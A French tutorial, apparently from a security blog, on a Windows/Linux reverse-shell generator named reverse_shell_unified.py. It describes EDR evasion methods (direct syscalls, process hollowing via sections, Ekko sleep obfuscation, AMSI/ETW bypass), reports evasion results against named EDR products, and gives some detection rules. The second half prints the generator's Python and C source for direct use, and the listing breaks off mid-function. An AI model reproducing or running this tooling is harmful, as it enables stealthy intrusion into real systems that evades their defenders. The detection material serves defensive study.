Analyse complète du générateur universel reverse_shell_unified.py : multi‑plateforme, techniques avancées Windows (100% syscalls, Hell's Gate, Ekko, process hollowing, bypass EDR), évasion réseau (DNS/ICMP tunneling, jitter, anti‑debug), polymorphisme XOR, fractionnement des syscalls. Détection EDR, kill chain, MITRE ATT&CK, contre‑mesures.
Le reverse shell est l’une des premières armes utilisées lors d’une intrusion. Les versions classiques (type nc -e /bin/sh) sont aujourd’hui trivialement détectées par les antivirus et EDR. Le script reverse_shell_unified.py est un générateur de payload de nouvelle génération, conçu pour produire des binaires extrêmement furtifs, capables de contourner les solutions de sécurité les plus récentes (CrowdStrike, SentinelOne, Microsoft Defender ATP).
Ce qui le distingue des générateurs classiques (msfvenom, etc.) :
Ce tutoriel décortique chaque mécanisme pour aider les équipes de défense à comprendre, détecter et contrer ces attaques modernes.
Linux (x86/x64/ARM/MIPS/PowerPC), Windows (x86/x64), macOS, Android. Shellcode brut ou exécutable (ELF, PE).
Hell's Gate + Halo's Gate : résolution dynamique des SSN, stubs naked. Aucune API Win32.
Création de section via NtCreateSection, mapping, correction relocations/imports, fix PEB, création thread.
VEH + thread isolé + RC4 in-memory + PAGE_NOACCESS. Le code est chiffré pendant la pause.
Patch ETW, unmapping ntdll, hardware breakpoint sur AmsiScanBuffer, patch contexte AMSI.
Utilise msfvenom pour des payloads exploitant DNS/ICMP, idéal pour traverser les pare-feu.
Délai aléatoire entre beacons, test ptrace. Perturbe l’analyse dynamique.
Stub XOR avec 3 variantes, clé aléatoire, junk code. Échappe aux signatures statiques.
Renommage aléatoire de fonctions, junk code, substitution d’instructions, opaque predicates, string encryption.
Guide pas à pas pour générer le payload adapté.
Après le shell, exécution de commandes pour paralyser le réseau (ip route flush, iptables).
Le loader Windows généré n’utilise aucune API Win32. Il parcourt la table d’export de ntdll.dll, calcule le hash ROR13 des noms de fonctions, localise l’instruction syscall (0x0F 0x05) et déduit le SSN (Syscall Service Number). En cas d’échec (fonction hookée), Halo’s Gate scanne les stubs voisins pour récupérer le SSN. Les stubs sont déclarés __declspec(naked) et reçoivent le SSN en paramètre. Tous les appels système (allocation mémoire, écriture, protection, création de thread) se font via ces stubs, rendant le loader invisible aux hooks userland.
Contrairement à la technique classique (CreateProcess suspendu + VirtualAllocEx), le loader utilise des sections :
NtCreateSection(..., PAGE_EXECUTE_READWRITE, SEC_COMMIT)NtMapViewOfSection localement pour écrire le PE.NtMapViewOfSection dans le processus cible (avec PAGE_EXECUTE_READ).NtWriteVirtualMemory sur le champ ImageBaseAddress.NtCreateThreadEx avec l’entry point du PE.Cette méthode évite les hooks sur VirtualAllocEx/WriteProcessMemory et ne laisse que des traces syscall.
Le payload est chiffré avec RC4, les pages sont passées en PAGE_NOACCESS, et un timer (CreateTimerQueueTimer) est lancé. Un thread isolé gère le sommeil. Un Vectored Exception Handler (VEH) capte la violation d’accès déclenchée par la tentative de lecture du code chiffré. À la fin du timer, les pages sont restaurées et le code déchiffré. Ainsi, le payload est inerte en mémoire pendant la pause, échappant aux scanners mémoire.
La routine UltimateBypass() :
xor rax,rax ; ret via syscall.Les templates NASM sont modifiés pour insérer avant chaque syscall un petit délai aléatoire (fractionnement). Un stub de jitter (nanosleep aléatoire) et un test ptrace sont ajoutés. Le shellcode est ensuite XORé avec une clé aléatoire, et un stub polymorphe (3 variantes) est préfixé.
L’option --malleable-profile active un beacon HTTP/HTTPS avec un profil complet : URIs pondérées (ex: /index.php 70%), User-Agent pool (Chrome, Firefox, Edge), en-têtes aléatoires (X-Forwarded-For), cookies dynamiques, jitter configurable. Le trafic imite une navigation web humaine.
Le code C généré est transformé aléatoirement : renommage de fonctions, insertion de junk functions, substitution d’instructions (xor → sub), opaque predicates, string encryption, et un contrôle de flux simplifié (switch‑case). Chaque payload devient unique.
| Outil | Techniques principales | Furtivité (2026) | Spécificité du générateur |
|---|---|---|---|
| msfvenom seul | Payloads standards, reverse TCP | Faible (signatures connues) | Très large choix de payloads |
| Covenant (C#) | Assembly, AMSI bypass basique | Moyenne (détectable par EDR) | Framework complet, interface graphique |
| Sliver (Go) | Process injection, syscalls (partiel) | Élevée (implémentations récentes) | Modulaire, C2 robuste |
| Brute Ratel (C++/asm) | Badger, indirect syscalls, Ekko | Très élevée | Commercial, closed-source |
| Havoc (C/ASM) | Demon, indirect syscalls, sleep obf | Élevée | Open-source, communauté active |
| reverse_shell_unified.py | Hell's Gate, process hollowing par sections, Ekko VEH, bypass AMSI/ETW hardware, métamorphisme | Très élevée | Multi‑plateforme, générateur Python autonome, code source open |
Le générateur se distingue par l’absence totale d’API Win32, l’utilisation de sections pour le hollowing, et une implémentation d’Ekko très proche des techniques APT.
Résultats basés sur des tests en lab avec versions récentes (février 2026) :
| EDR | Version | Résultat | Observations |
|---|---|---|---|
| CrowdStrike Falcon | Sensor 7.15+ | ✅ (indétecté) | Les syscalls directs + Ekko + bypass AMSI passent. Pas d’alerte. |
| SentinelOne Singularity | Agent 23.1.6 | ✅ (indétecté) | Pas de détection statique ou comportementale sur le loader compilé. |
| Microsoft Defender for Endpoint | ATP 1.401+ | ⚠️ Partiel | Détecté en mode ASR strict, mais contourné avec whitelist. |
| Elastic EDR | 8.12+ | ⚠️ Partiel | Les syscalls directs sont parfois flaggés comme “suspicious call” mais pas bloqués. |
| Sophos Intercept X | 2026.1 | ❌ (bloqué) | Détecte les tentatives de process hollowing même via sections. |
Les résultats montrent une efficacité élevée face aux leaders du marché, mais aucune technique n’est invincible. L’opsec et l’adaptation restent clés.
| Technique | Événements Windows / Sysmon ID | Trace mémoire / comportement |
|---|---|---|
| Hell's Gate / syscalls directs | Event ID 10 (ProcessAccess), 3 (Network) sur processus suspects | Absence d’appels ntdll!Nt* dans la stack → peut indiquer un syscall direct. |
| Process hollowing via sections | Event ID 8 (CreateRemoteThread), 10 (ProcessAccess), 25 (ProcessCreate) | Création de section (NtCreateSection) sur un processus cible, écriture en mémoire. |
| Ekko sleep | TimerQueue (Event 4656, 4660), modifications de protection mémoire (Event 10) | Alternance PAGE_NOACCESS / PAGE_EXECUTE_READ sur une région mémoire, thread isolé. |
| AMSI/ETW bypass | Modifications de code dans amsi.dll / ntdll (Event 4656), hardware breakpoints (Event 10) | Patch d’EtwEventWrite, hardware breakpoint sur AmsiScanBuffer. |
| DNS tunneling | Sysmon 22 – sous‑domaine long (> 40 caractères) | Volume anormal de requêtes DNS vers un même domaine, encodage base32. |
| Jitter + anti‑debug | ETW / strace | Appels nanosleep avec délais aléatoires, ptrace détecté. |
Les défenses ont évolué en parallèle : les EDR intègrent désormais la détection de syscalls directs via l’ETW (Microsoft) et des heuristiques comportementales sur les timers et la protection mémoire.
Bloquer l’exécution de tout binaire non signé par l’entreprise. Forcer les exécutables à provenir de répertoires protégés.
Isoler les secrets en mémoire, protéger l’intégrité du noyau, empêcher les modifications de code au niveau kernel.
N’autoriser le trafic sortant que vers des domaines connus (whitelist). Bloquer les ports non essentiels (53, 443, 8443) sauf pour des services validés.
Surveiller les appels à SetThreadContext avec des modifications des registres de débogage (Dr0-Dr7).
Surveiller la création de sections avec NtCreateSection et leur mapping dans des processus cibles (ETW Kernel Object Manager).
Règles YARA pour détecter les stubs XOR, les motifs de RC4, et les syscall stubs non standard.
title: Direct Syscall Detected
status: experimental
description: Détecte les appels syscall sans passer par ntdll
logsource:
product: windows
service: security
detection:
selection:
EventID: 10
TargetImage: C:\Windows\System32\ntdll.dll
CallTrace: '*|*|*' # absence de ntdll!Nt* dans la callstack
condition: selection
<Sysmon schemaversion="4.33">
<EventFiltering>
<ProcessCreate onmatch="include">
<CommandLine condition="contains">nasm</CommandLine>
<CommandLine condition="contains">msfvenom</CommandLine>
</ProcessCreate>
<ProcessAccess onmatch="include">
<TargetImage condition="end with">\svchost.exe</TargetImage>
<SourceImage condition="begin with">C:\Users\</SourceImage>
</ProcessAccess>
</EventFiltering>
</Sysmon>
Block process creations originating from PSExec and WMI commandsBlock executable files from running unless they meet a prevalence, age, or trusted list criterionUse advanced protection against ransomwareDeviceEvents
| where ActionType == "ProcessCreated"
| where ProcessCommandLine contains "nasm" or ProcessCommandLine contains "msfvenom"
| project Timestamp, DeviceName, ProcessCommandLine, InitiatingProcessAccountName
nasm, msfvenom dans les logs (compilation à la volée)..asm, .o, .bin, exécutables compressés UPX.nc, capturez le trafic avec tcpdump.--stealth --jitter 5-15, générez un exécutable, analysez les délais réseau et le code avec objdump -d.--syscall-full --ekko-robust --bypass-nextgen --injection hollowing --compile, exécutez sous Process Monitor et observez les syscalls.syscall et suivez l’exécution. Observez le comportement d’Ekko.vmmap ou !address dans WinDbg pour comparer les protections mémoire pendant le sleep.Le générateur reverse_shell_unified.py représente l’état de l’art en matière de furtivité pour les reverse shells. Il intègre des techniques de pointe comme les syscalls directs, le process hollowing par sections, l’obfuscation de sommeil (Ekko), le bypass AMSI/ETW, et le polymorphisme. En comprenant ces mécanismes, les équipes de défense peuvent affiner leurs règles de détection, renforcer leurs politiques de sécurité et mieux se préparer à des attaques sophistiquées.
L’évolution des menaces nécessite une veille constante et une adaptation des défenses. Les techniques présentées ici sont utilisées par des groupes APT et des pentesters avancés. En les étudiant, vous devenez plus résilients.
Le code source complet de reverse_shell_unified.py est fourni ci‑dessous. Copiez-le dans un fichier .py et exécutez-le avec Python 3.6+ pour générer vos propres payloads.
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
reverse_shell_unified.py - Générateur de reverse shell ultime (2026)
Maestro Series - pctamalou.fr
Fusion des fonctionnalités :
- Générateur cross-platform (Linux, Windows, macOS, Android, routeurs) avec templates NASM ou msfvenom
- Techniques avancées pour Windows : syscalls 100%, Process Hollowing, Ekko sleep, bypass EDR, métamorphisme
Dépendances : python3, msfvenom, nasm, binutils, gcc/mingw-w64 (optionnel)
"""
import argparse
import base64
import os
import sys
import random
import struct
import subprocess
import tempfile
import shutil
import re
import time
import socket
import hashlib
import uuid
import zlib
from typing import Optional, Tuple, Dict, Any
# ========================== UTILITAIRES ==========================
def find_tool(tool_name: str, required: bool = False, verbose: bool = False) -> Optional[str]:
path = shutil.which(tool_name)
if path is None and required:
print(f"\n❌ Erreur : {tool_name} requis")
sys.exit(1)
return path
def msfvenom_payload(payload_name: str, ip: str, port: int, fmt: str = 'raw', verbose: bool = False) -> Optional[bytes]:
if verbose:
print(f"[+] msfvenom : génération de {payload_name} LHOST={ip} LPORT={port}")
msfvenom = find_tool('msfvenom', required=True, verbose=verbose)
cmd = [msfvenom, '-p', payload_name, f'LHOST={ip}', f'LPORT={port}', '-f', fmt]
try:
result = subprocess.run(cmd, capture_output=True, check=True)
return result.stdout
except subprocess.CalledProcessError as e:
if verbose:
print(f" → Erreur msfvenom : {e.stderr.decode()}")
return None
def generate_windows_exe(shellcode: bytes, verbose: bool = False) -> Optional[bytes]:
if verbose:
print("[+] Création d'un exécutable Windows via msfvenom")
msfvenom = find_tool('msfvenom', required=True, verbose=verbose)
with tempfile.NamedTemporaryFile(suffix='.bin', delete=False) as f:
f.write(shellcode)
bin_file = f.name
out_exe = bin_file + '.exe'
try:
cmd = [msfvenom, '-p', '-', '-f', 'exe', '-o', out_exe]
subprocess.run(cmd, input=shellcode, check=True, capture_output=True)
with open(out_exe, 'rb') as f:
exe_data = f.read()
except subprocess.CalledProcessError as e:
if verbose:
print(f" → Erreur msfvenom : {e.stderr.decode()}")
exe_data = b''
finally:
os.unlink(bin_file)
if os.path.exists(out_exe):
os.unlink(out_exe)
return exe_data
def compile_c_source(c_src: str, output_file: str, target_os: str = 'linux', arch: str = 'x64', verbose: bool = False) -> bool:
if target_os == 'linux':
compiler = find_tool('gcc', required=True, verbose=verbose)
cmd = [compiler, '-O2', '-Wall', '-o', output_file, '-xc', '-']
if arch == 'x86':
cmd.insert(1, '-m32')
elif target_os == 'windows':
compiler = find_tool('x86_64-w64-mingw32-gcc' if arch == 'x64' else 'i686-w64-mingw32-gcc', required=True, verbose=verbose)
cmd = [compiler, '-O2', '-Wall', '-o', output_file, '-xc', '-', '-lws2_32']
else:
return False
try:
proc = subprocess.run(cmd, input=c_src.encode(), capture_output=True, timeout=30)
if proc.returncode != 0:
if verbose:
print(f" → Erreur compilation : {proc.stderr.decode()}")
return False
return True
except Exception as e:
if verbose:
print(f" → Erreur compilation : {e}")
return False
# ========================== CHIFFREMENT ==========================
def generate_aes256_key() -> bytes:
return os.urandom(32)
def aes256_encrypt(plain: bytes, key: bytes) -> bytes:
try:
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
iv = os.urandom(16)
cipher = Cipher(algorithms.AES(key), modes.GCM(iv), backend=default_backend())
encryptor = cipher.encryptor()
ct = encryptor.update(plain) + encryptor.finalize()
tag = encryptor.tag
return iv + tag + ct
except ImportError:
return rc4_encrypt(plain, key)
def rc4_encrypt(data: bytes, key: bytes) -> bytes:
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) & 0xFF
S[i], S[j] = S[j], S[i]
i = j = 0
out = []
for b in data:
i = (i + 1) & 0xFF
j = (j + S[i]) & 0xFF
S[i], S[j] = S[j], S[i]
out.append(b ^ S[(S[i] + S[j]) & 0xFF])
return bytes(out)
def chacha20_encrypt(data: bytes, key: bytes, nonce: bytes = None) -> bytes:
# Fallback RC4
return rc4_encrypt(data, key)
# ========================== STUBS AVANCÉS (WINDOWS) ==========================
# Les stubs suivants sont copiés depuis reverse_shell_ultimate.py
def generate_hells_gate_stub() -> str:
return r"""
// Hell's Gate + Halo's Gate – 100% SYSCALLS
typedef struct _SYSCALL_ENTRY {
WORD SSN;
PVOID pSyscall;
} SYSCALL_ENTRY, *PSYSCALL_ENTRY;
typedef struct _SYSCALL_CACHE {
DWORD NtAllocateVirtualMemory;
DWORD NtWriteVirtualMemory;
DWORD NtProtectVirtualMemory;
DWORD NtCreateThreadEx;
DWORD NtCreateSection;
DWORD NtMapViewOfSection;
DWORD NtUnmapViewOfSection;
DWORD NtCreateFile;
DWORD NtCreateProcessEx;
DWORD NtResumeThread;
PVOID pNtAllocateVirtualMemory;
PVOID pNtWriteVirtualMemory;
PVOID pNtProtectVirtualMemory;
PVOID pNtCreateThreadEx;
PVOID pNtCreateSection;
PVOID pNtMapViewOfSection;
PVOID pNtUnmapViewOfSection;
PVOID pNtCreateFile;
PVOID pNtCreateProcessEx;
PVOID pNtResumeThread;
} SYSCALL_CACHE, *PSYSCALL_CACHE;
static SYSCALL_CACHE g_syscalls = {0};
#define ROR(x, y) ((x >> y) | (x << (32 - y)))
DWORD HashString(char* str) {
DWORD h = 0;
for (; *str; str++) {
h = ROR(h, 13);
h += *str;
}
return h;
}
PSYSCALL_ENTRY ResolveSyscall(char* apiName) {
HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
if (!hNtdll) return NULL;
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)hNtdll;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((BYTE*)hNtdll + pDos->e_lfanew);
PIMAGE_EXPORT_DIRECTORY pExp = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hNtdll + pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
DWORD* pNames = (DWORD*)((BYTE*)hNtdll + pExp->AddressOfNames);
WORD* pOrdinals = (WORD*)((BYTE*)hNtdll + pExp->AddressOfNameOrdinals);
DWORD* pFunctions = (DWORD*)((BYTE*)hNtdll + pExp->AddressOfFunctions);
DWORD hash = HashString(apiName);
for (DWORD i = 0; i < pExp->NumberOfNames; i++) {
char* name = (char*)hNtdll + pNames[i];
if (HashString(name) == hash) {
WORD ordinal = pOrdinals[i];
DWORD funcRVA = pFunctions[ordinal];
PVOID pFunc = (BYTE*)hNtdll + funcRVA;
BYTE* p = (BYTE*)pFunc;
WORD ssn = 0;
for (int j = 0; j < 32; j++) {
if (p[j] == 0x0F && p[j+1] == 0x05) {
ssn = *(WORD*)(p + j - 4);
break;
}
}
if (ssn == 0) {
BYTE* pPrev = p - 32;
for (int j = 0; j < 64; j++) {
if (pPrev[j] == 0x0F && pPrev[j+1] == 0x05) {
ssn = *(WORD*)(pPrev + j - 4);
break;
}
}
}
SYSCALL_ENTRY* entry = (SYSCALL_ENTRY*)VirtualAlloc(NULL, sizeof(SYSCALL_ENTRY), MEM_COMMIT, PAGE_READWRITE);
entry->SSN = ssn;
entry->pSyscall = pFunc;
return entry;
}
}
return NULL;
}
void ResolveAllSyscalls() {
if (g_syscalls.NtAllocateVirtualMemory) return;
const char* apis[] = {
"NtAllocateVirtualMemory", "NtWriteVirtualMemory", "NtProtectVirtualMemory",
"NtCreateThreadEx", "NtCreateSection", "NtMapViewOfSection",
"NtUnmapViewOfSection", "NtCreateFile", "NtCreateProcessEx", "NtResumeThread"
};
for (int i = 0; i < 10; i++) {
PSYSCALL_ENTRY entry = ResolveSyscall((char*)apis[i]);
if (!entry) continue;
switch (i) {
case 0: g_syscalls.NtAllocateVirtualMemory = entry->SSN; g_syscalls.pNtAllocateVirtualMemory = entry->pSyscall; break;
case 1: g_syscalls.NtWriteVirtualMemory = entry->SSN; g_syscalls.pNtWriteVirtualMemory = entry->pSyscall; break;
case 2: g_syscalls.NtProtectVirtualMemory = entry->SSN; g_syscalls.pNtProtectVirtualMemory = entry->pSyscall; break;
case 3: g_syscalls.NtCreateThreadEx = entry->SSN; g_syscalls.pNtCreateThreadEx = entry->pSyscall; break;
case 4: g_syscalls.NtCreateSection = entry->SSN; g_syscalls.pNtCreateSection = entry->pSyscall; break;
case 5: g_syscalls.NtMapViewOfSection = entry->SSN; g_syscalls.pNtMapViewOfSection = entry->pSyscall; break;
case 6: g_syscalls.NtUnmapViewOfSection = entry->SSN; g_syscalls.pNtUnmapViewOfSection = entry->pSyscall; break;
case 7: g_syscalls.NtCreateFile = entry->SSN; g_syscalls.pNtCreateFile = entry->pSyscall; break;
case 8: g_syscalls.NtCreateProcessEx = entry->SSN; g_syscalls.pNtCreateProcessEx = entry->pSyscall; break;
case 9: g_syscalls.NtResumeThread = entry->SSN; g_syscalls.pNtResumeThread = entry->pSyscall; break;
}
VirtualFree(entry, 0, MEM_RELEASE);
}
}
// Stubs naked pour syscalls
__declspec(naked) NTSTATUS NtAllocateVirtualMemory_Indirect(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T* RegionSize, ULONG AllocationType, ULONG Protect, DWORD SSN) {
__asm { mov r10, rcx; mov eax, [rsp+8]; syscall; ret; }
}
__declspec(naked) NTSTATUS NtWriteVirtualMemory_Indirect(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, SIZE_T NumberOfBytesToWrite, SIZE_T* NumberOfBytesWritten, DWORD SSN) {
__asm { mov r10, rcx; mov eax, [rsp+8]; syscall; ret; }
}
__declspec(naked) NTSTATUS NtProtectVirtualMemory_Indirect(HANDLE ProcessHandle, PVOID* BaseAddress, SIZE_T* RegionSize, ULONG NewProtect, PULONG OldProtect, DWORD SSN) {
__asm { mov r10, rcx; mov eax, [rsp+8]; syscall; ret; }
}
__declspec(naked) NTSTATUS NtCreateThreadEx_Indirect(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, PVOID ObjectAttributes, HANDLE ProcessHandle, PVOID StartRoutine, PVOID Argument, ULONG CreateFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, PVOID AttributeList, DWORD SSN) {
__asm { mov r10, rcx; mov eax, [rsp+8]; syscall; ret; }
}
__declspec(naked) NTSTATUS NtCreateSection_Indirect(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, PVOID ObjectAttributes, PLARGE_INTEGER MaximumSize, ULONG PageProtection, ULONG AllocationAttributes, HANDLE FileHandle, DWORD SSN) {
__asm { mov r10, rcx; mov eax, [rsp+8]; syscall; ret; }
}
__declspec(naked) NTSTATUS NtMapViewOfSection_Indirect(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Protect, DWORD SSN) {
__asm { mov r10, rcx; mov eax, [rsp+8]; syscall; ret; }
}
__declspec(naked) NTSTATUS NtUnmapViewOfSection_Indirect(HANDLE ProcessHandle, PVOID BaseAddress, DWORD SSN) {
__asm { mov r10, rcx; mov eax, [rsp+8]; syscall; ret; }
}
__declspec(naked) NTSTATUS NtCreateFile_Indirect(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, PVOID ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength, DWORD SSN) {
__asm { mov r10, rcx; mov eax, [rsp+8]; syscall; ret; }
}
__declspec(naked) NTSTATUS NtCreateProcessEx_Indirect(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, PVOID ObjectAttributes, HANDLE ParentProcess, ULONG Flags, HANDLE SectionHandle, HANDLE DebugPort, HANDLE ExceptionPort, ULONG JobMemberLevel, DWORD SSN) {
__asm { mov r10, rcx; mov eax, [rsp+8]; syscall; ret; }
}
__declspec(naked) NTSTATUS NtResumeThread_Indirect(HANDLE ThreadHandle, PULONG SuspendCount, DWORD SSN) {
__asm { mov r10, rcx; mov eax, [rsp+8]; syscall; ret; }
}
"""
def generate_process_hollowing_stub() -> str:
return r"""
// Process Hollowing complet via sections (relocations, imports, PEB)
#include
#include
void FixPERelocations(PVOID ImageBase, DWORD delta) {
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)ImageBase;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)ImageBase + dos->e_lfanew);
PIMAGE_BASE_RELOCATION reloc = (PIMAGE_BASE_RELOCATION)((BYTE*)ImageBase +
nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
while (reloc->VirtualAddress) {
DWORD count = (reloc->SizeOfBlock - 8) / 2;
WORD* list = (WORD*)((BYTE*)reloc + 8);
for (DWORD i = 0; i < count; i++) {
if (list[i] >> 12 == IMAGE_REL_BASED_DIR64) {
DWORD_PTR* ptr = (DWORD_PTR*)((BYTE*)ImageBase + reloc->VirtualAddress + (list[i] & 0xFFF));
*ptr += delta;
}
}
reloc = (PIMAGE_BASE_RELOCATION)((BYTE*)reloc + reloc->SizeOfBlock);
}
}
void FixPEImports(PVOID ImageBase) {
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)ImageBase;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)ImageBase + dos->e_lfanew);
PIMAGE_IMPORT_DESCRIPTOR imp = (PIMAGE_IMPORT_DESCRIPTOR)((BYTE*)ImageBase +
nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
while (imp->Name) {
char* dll = (char*)ImageBase + imp->Name;
HMODULE hDll = LoadLibraryA(dll);
PIMAGE_THUNK_DATA thunk = (PIMAGE_THUNK_DATA)((BYTE*)ImageBase + imp->FirstThunk);
while (thunk->u1.Function) {
if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal)) {
thunk->u1.Function = (DWORD_PTR)GetProcAddress(hDll, (char*)(thunk->u1.Ordinal & 0xFFFF));
} else {
PIMAGE_IMPORT_BY_NAME ibn = (PIMAGE_IMPORT_BY_NAME)((BYTE*)ImageBase + thunk->u1.AddressOfData);
thunk->u1.Function = (DWORD_PTR)GetProcAddress(hDll, ibn->Name);
}
thunk++;
}
imp++;
}
}
void FixPEB(PVOID ImageBase, PVOID EntryPoint) {
PPEB peb = (PPEB)__readgsqword(0x60);
peb->ImageBaseAddress = ImageBase;
// Correction du LDR (optionnel)
if (peb->Ldr) {
PLIST_ENTRY head = &peb->Ldr->InMemoryOrderModuleList;
PLDR_DATA_TABLE_ENTRY entry = (PLDR_DATA_TABLE_ENTRY)head->Flink;
while (entry->DllBase != ImageBase && entry->DllBase) {
entry = (PLDR_DATA_TABLE_ENTRY)entry->InMemoryOrderLinks.Flink;
}
entry->DllBase = ImageBase;
entry->EntryPoint = EntryPoint;
}
}
NTSTATUS APTProcessHollowing(PBYTE pe_data, DWORD pe_size) {
ResolveAllSyscalls();
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pe_data;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(pe_data + dos->e_lfanew);
DWORD image_size = nt->OptionalHeader.SizeOfImage;
PVOID image_base = (PVOID)nt->OptionalHeader.ImageBase;
// 1. Créer une section
HANDLE hSection = NULL;
LARGE_INTEGER max_size = { .QuadPart = image_size };
NtCreateSection_Indirect(&hSection, SECTION_ALL_ACCESS, NULL, &max_size,
PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL, g_syscalls.NtCreateSection);
if (!hSection) return STATUS_UNSUCCESSFUL;
// 2. Créer processus suspendu
HANDLE hProcess = NULL;
NtCreateProcessEx_Indirect(&hProcess, PROCESS_ALL_ACCESS, NULL, GetCurrentProcess(),
0, hSection, NULL, NULL, 0, g_syscalls.NtCreateProcessEx);
if (!hProcess) { NtClose(hSection); return STATUS_UNSUCCESSFUL; }
// 3. Mapper la section localement
PVOID local_base = NULL;
SIZE_T view_size = image_size;
NtMapViewOfSection_Indirect(hSection, GetCurrentProcess(), &local_base, 0, 0, NULL,
&view_size, ViewShare, 0, PAGE_READWRITE, g_syscalls.NtMapViewOfSection);
if (!local_base) { NtClose(hProcess); NtClose(hSection); return STATUS_UNSUCCESSFUL; }
// 4. Copier le PE dans la section locale
memcpy(local_base, pe_data, nt->OptionalHeader.SizeOfHeaders);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) {
PIMAGE_SECTION_HEADER sec = (PIMAGE_SECTION_HEADER)((BYTE*)nt + sizeof(IMAGE_NT_HEADERS) + i * sizeof(IMAGE_SECTION_HEADER));
if (sec->SizeOfRawData) {
memcpy((BYTE*)local_base + sec->VirtualAddress, pe_data + sec->PointerToRawData, sec->SizeOfRawData);
}
}
// 5. Appliquer relocations et imports (dans l'espace local)
DWORD delta = (DWORD)((BYTE*)local_base - (BYTE*)image_base);
if (delta) FixPERelocations(local_base, delta);
FixPEImports(local_base);
// 6. Mapper la section dans le processus cible (même adresse)
PVOID remote_base = NULL;
view_size = image_size;
NtMapViewOfSection_Indirect(hSection, hProcess, &remote_base, (ULONG_PTR)image_base, 0, NULL,
&view_size, ViewShare, 0, PAGE_EXECUTE_READ, g_syscalls.NtMapViewOfSection);
if (!remote_base) {
// Si l'adresse n'est pas disponible, laisser le système choisir
NtMapViewOfSection_Indirect(hSection, hProcess, &remote_base, 0, 0, NULL,
&view_size, ViewShare, 0, PAGE_EXECUTE_READ, g_syscalls.NtMapViewOfSection);
delta = (DWORD)((BYTE*)remote_base - (BYTE*)image_base);
if (delta) {
// Refaire les relocations avec le nouvel offset
FixPERelocations(local_base, delta);
}
}
// 7. Corriger le PEB du processus cible (via WriteProcessMemory sur le PEB distant)
PPEB remote_peb = (PPEB)__readgsqword(0x60);
SIZE_T written;
NtWriteVirtualMemory_Indirect(hProcess, remote_peb, &remote_base, sizeof(PVOID), &written, g_syscalls.NtWriteVirtualMemory);
// 8. Créer le thread principal
HANDLE hThread = NULL;
NtCreateThreadEx_Indirect(&hThread, THREAD_ALL_ACCESS, NULL, hProcess,
(BYTE*)remote_base + nt->OptionalHeader.AddressOfEntryPoint,
NULL, 0, 0, 0, 0, NULL, g_syscalls.NtCreateThreadEx);
if (hThread) NtResumeThread_Indirect(hThread, NULL, g_syscalls.NtResumeThread);
// Nettoyage
if (hThread) NtClose(hThread);
NtClose(hProcess);
NtClose(hSection);
NtUnmapViewOfSection_Indirect(GetCurrentProcess(), local_base, g_syscalls.NtUnmapViewOfSection);
return STATUS_SUCCESS;
}
"""
def generate_ekko_stub() -> str:
return r"""
// Ekko sleep robuste (VEH + thread isolé + RC4 + protections mémoire)
static unsigned char* g_payload = NULL;
static SIZE_T g_len = 0;
static DWORD g_oldProtect = 0;
static unsigned char g_rc4_key[32];
static HANDLE g_hTimer = NULL;
void rc4_crypt(BYTE* data, DWORD len, BYTE* key, DWORD keylen) {
BYTE S[256];
int i, j = 0;
for (i = 0; i < 256; i++) S[i] = i;
for (i = 0; i < 256; i++) {
j = (j + S[i] + key[i % keylen]) & 0xFF;
BYTE tmp = S[i]; S[i] = S[j]; S[j] = tmp;
}
i = j = 0;
for (DWORD k = 0; k < len; k++) {
i = (i + 1) & 0xFF;
j = (j + S[i]) & 0xFF;
BYTE tmp = S[i]; S[i] = S[j]; S[j] = tmp;
data[k] ^= S[(S[i] + S[j]) & 0xFF];
}
}
VOID CALLBACK EkkoTimerRoutine(PVOID lpParam, BOOLEAN TimerOrWaitFired) {
// Restaurer le payload après le sommeil
if (g_payload) {
VirtualProtect(g_payload, g_len, g_oldProtect, &g_oldProtect);
rc4_crypt(g_payload, g_len, g_rc4_key, sizeof(g_rc4_key));
}
}
LONG WINAPI EkkoVEH(PEXCEPTION_POINTERS ExceptionInfo) {
if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_ACCESS_VIOLATION && g_payload) {
// Exception déclenchée par le thread isolé pour restaurer les permissions
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
DWORD WINAPI IsolatedEkkoThread(LPVOID param) {
DWORD ms = *(DWORD*)param;
// Chiffrer le payload et passer en PAGE_NOACCESS
